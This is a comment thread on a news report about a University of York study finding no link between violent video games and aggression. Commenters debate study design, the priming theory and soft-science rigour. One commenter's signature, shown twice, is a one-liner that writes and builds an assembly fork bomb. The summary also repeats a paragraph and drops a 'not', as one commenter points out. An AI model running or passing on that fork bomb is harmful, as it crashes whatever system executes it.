New Study Finds No Link Between Violent Video Games and Behavior (dailydot.com)
An anonymous reader quotes a report from The Daily Dot: Scientists have been investigating the impact of violent video games on behavior for more than two decades, and the results are still being debated. In a 2015 resolution on games, the American Psychological Association reported that multiple studies found a link between violent game exposure and aggressive behavior, though critics at the time questioned the findings. Now, a new study published by researchers at the University of York in the journal Computers in Human Behavior further challenges the connection.
It has long been theorized that exposure to in-game concepts like violence has a "priming" effect on players that ultimately impacts behavior, leading scientists to believe that a player exposed to in-game violence will be more susceptible to displaying such violence in real life. The new study found the exact opposite to be true in some instances. In a series of experiments with a little over 3,000 participants (more than any past study to date), university researchers found that exposure to video game concepts like violence won't necessarily impact behavior. It also found that increasing the realism of violent video games does mean aggressive behavior in gamers will increase.
It has long been theorized that exposure to in-game concepts like violence has a "priming" effect on players that ultimately impacts behavior, leading scientists to believe that a player exposed to in-game violence will be more susceptible to displaying such violence in real life. The new study found the exact opposite to be true in some instances. In a series of experiments with a little over 3,000 participants (more than any past study to date), university researchers found that exposure to video game concepts like violence won't necessarily impact behavior. It also found that increasing the realism of violent video games does mean aggressive behavior in gamers will increase.
When you're sitting on the couch in your underwear playing video games 10 hours a day.
It also found that increasing the realism of violent video games does mean aggressive behavior in gamers will increase.
This error is in the article as well, but reading on makes it clear that this sentence is missing a 'not'. To wit:
it was expected that those exposed to the more realistic game would choose more violent words. Surprisingly, the researchers found no significant difference between the word choices of players exposed to either game.
Corruption is convincing someone that the selfless ideal is the same as their selfish ideal.
The fact that the study accepted the null hypothesis argues against this being junk science. The flux in the field, with established concepts like priming being vigorously challenged, is actually good sign.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
This study has a few problems. For one, the participants were all adults; the argument is usually that violent video games have a harmful effect on children whose minds are still developing, and these experiments don't assess that. Furthermore, several studies found that short-term aggression was increased by playing violent video games, but there was a lack of evidence for any long-term effects. This experiment didn't study long-term effects, either.
IMO the theories on how violent video games might mentally harm children approach Intelligent Design levels of pseudoscience, pushed by moral guardians who have a knee-jerk "think of the children!" reaction. I've played lots of violent video games, and the ones that most realistically depict violence are pretty disturbing; they make me less likely to want to employ violence, if anything.
What I'd REALLY like to see is if a VR game where you use motion controllers to punch people makes the players more likely to employ punches in real life afterward (in say some roleplay with a dummy where a punch, kick, or handshake can be employed.) I wonder if muscle memory (pressing a button on a Dualshock is nothing like throwing an actual punch) and feeling that the game isn't real (VR takes this away) are the main things stopping a connection between in-game violence and real-life aggressive tendencies. However, there's a big difference between "I'm curious if" and "I'm certain, therefore it must be made illegal immediately." I also chuckle at the idea that 'ragdoll physics' apparently equals 'realism' now; all those hours playing UT2003 and I never realized how REAL it was.
Corruption is convincing someone that the selfless ideal is the same as their selfish ideal.
Here's my experience.
When some of my friends were frequently talking about their twice-weekly poker game, I heard them several times and starting thinking about if I might like to play poker. I ended up playing poker with them, twice a week.
Later, was flying home from a business trip in Vegas and wanted something to read on the flight. I ended up with three poker books. Later I put them in my reading room (bathroom). I was always reading *something*, and that month I read about poker. While driving or whatever, I'd think about what I read - think about poker. I ended up writing a poker- playing bot, spending quite a bit of time analyzing poker as I created software that played poker.
I doubt I would have spent thousands of hours on poker had I never starting hearing about it from my friends. I wouldn't have written poker software if I had read model airplane books.
Whatever book I get, I spend several hours reading about it, and several more hours thinking about it. Whichever TV series I'm into, that's what's in my head.
As a teenager, I was into heavy metal music. I constantly had heavy metal themes pumped into my head, so a lot of my thoughts were around topics in the lyrics.
Later, I started listening to Christian music. I find that when I hear a song about forgiveness, I tend to think about forgiveness. When I'm thinking about forgiveness, I'm more likely to forgive. I'm also more likely to be grateful for the forgiveness I've received, if that's what I'm thinking about because that's what I'm hearing on my way to work.
From my experience, it seems obvious that whatever I'm exposed to a lot affects what I think about. What I think about a lot tends to affect what I do.
Does that mean that if I hear you say the words "eat cheese" I'm going to immediately run to go eat cheese? Of course not? But if people are constantly offering me different kinds of cheeses, talking about which cheese goes well with what, I just might try some cheese every so often.
If my mind is on violence several hours per day, sure whatever I think about a lot is going to tend effect what I'm more likely to do.
those who spend huge amounts of time playing video games avoid personal growth and avoid connecting with the world.
Do you have any actual evidence for this? Or are you just spouting off the same "conventional wisdom" that is debunked by this study?
Sure, introverts may be socially isolated and play a lot of video games. But that doesn't imply that the games caused the isolation, nor does it imply that the isolation is actually harmful, to the introverts or to the rest of society.
When I was a kid, there were no video games (other than "Pong"), yet we still had socially isolated people, watching Star Trek on TV, reading SciFi, and playing D&D. So are interactive video games "worse" in some way compared to likely alternative activities? I have seen zero evidence for that.
"If Pac-Man had affected us as kids, we'd all be running around in dark rooms, munching pills and listening to repetitive electronic music."
* Marcus Brigstocke
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
No, but they're not sciences in the way that, say, particle physics is. As Lubos Motls pointed out the number of sigma required to verify a hypothesis is very different
https://motls.blogspot.com/201...
Some disciplines of science try to be as hard and reliable as particle physics so they adopted the same 5-sigma (1 in 3 million) standard for discovery; most other disciplines, especially soft sciences such as medical research, climate science, psychology, and others, are often satisfied with 3-sigma (1 in 300) or even 2-sigma (1 in 20) evidence.
That's assuming there's enough data for this sort of thing, which there most likely isn't for history where you're relying on a couple of second hand sources.
That doesn't mean history is junk, it just means you can't be as certain of it as you can with physics. And in fact new discoveries turn up all the time and change the consensus view of historical events. Similarly the consensus on economics can change pretty drastically - e.g. Keynesianism took a major beating in the 80's due to stagflation. Arguably post Keynesian economics did post 2008, though that may be coming to an end.
Social sciences have fuzzy data and the interpretation of the data is influenced by politics - that's especially true of climate change and economics. They're not at all like particle physics with its spectacular 5 sigma near certainty. You could probably find examples of present day politics influencing linguistics too.
Incidentally literature isn't science and it definitely isn't junk. And good literature isn't influenced by politics, except in the extreme Orwellian case where a worst case totalitarian regime ends literature.
http://www.orwell.ru/library/e...
Literature has sometimes flourished under despotic regimes, but, as has often been pointed out, the despotisms of the past were not totalitarian. Their repressive apparatus was always inefficient, their ruling classes were usually either corrupt or apathetic or half-liberal in outlook, and the prevailing religious doctrines usually worked against perfectionism and the notion of human infallibility. Even so it is broadly true that prose literature has reached its highest levels in periods of democracy and free speculation. What is new in totalitarianism is that its doctrines are not only unchallengeable but also unstable. They have to be accepted on pain of damnation, but on the other hand, they are always liable to be altered on a moment's notice. Consider, for example, the various attitudes, completely incompatible with one another, which an English Communist or 'fellow-traveler' has had to adopt toward the war between Britain and Germany. For years before September, 1939, he was expected to be in a continuous stew about 'the horrors of Nazism' and to twist everything he wrote into a denunciation of Hitler: after September, 1939, for twenty months, he had to believe that Germany was more sinned against than sinning, and the word 'Nazi', at least as far as print went, had to drop right out of his vocabulary. Immediately after hearing the 8 o'clock news bulletin on the morning of June 22, 1941, he had to start believing once again that Nazism was the most hideous evil the world had ever seen. Now, it is easy for the politician to make such changes: for a writer the case is somewhat different. If he is to switch his allegiance at exactly the right moment, he must either tell lies about his subjective feelings, or else suppress them altogether. In either case he has destroyed his dynamo. Not only will ideas refuse to come to him, but the very words he uses will seem to stiffen under his touch. Political writing in our time consists almost entirely of prefabricated phrases bolted together like the pieces of a child's Meccano set. It is the unavoidable result of self-censorship. To write
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
OK, if there is no link between violent games and violence. How come we are not allowed to see female nipples on tv? Or cursing?
Is that different somehow? And if it is not, how come ads are effective?
People will be influenced by what they pick up. I am sure that violent games will not cause violence, but it might raise the bar a little bit on a much wider scale,
We think rape in prison is funny. Many believe that police violence is just a way to best solve things.
So what it might do is change the norm about violence.
Don't fight for your country, if your country does not fight for you.
I remember the first time I watched Smokey and the Bandit at the movies. When I got in my car, I wanted to speed all over the place.
But I didn't ... because I'm not stupid and know I could crash, kill someone or me, or at least get a ticket.
I'm sure violent video games can make violent people more likely to be violent.
That doesn't mean the other 99% (made up statistic) of society should be kept from playing them.
I rarely read replies, it's my opinion and if you thought about your opinion a little more, I'm OK with that.
i jaywalk becuase of Frogger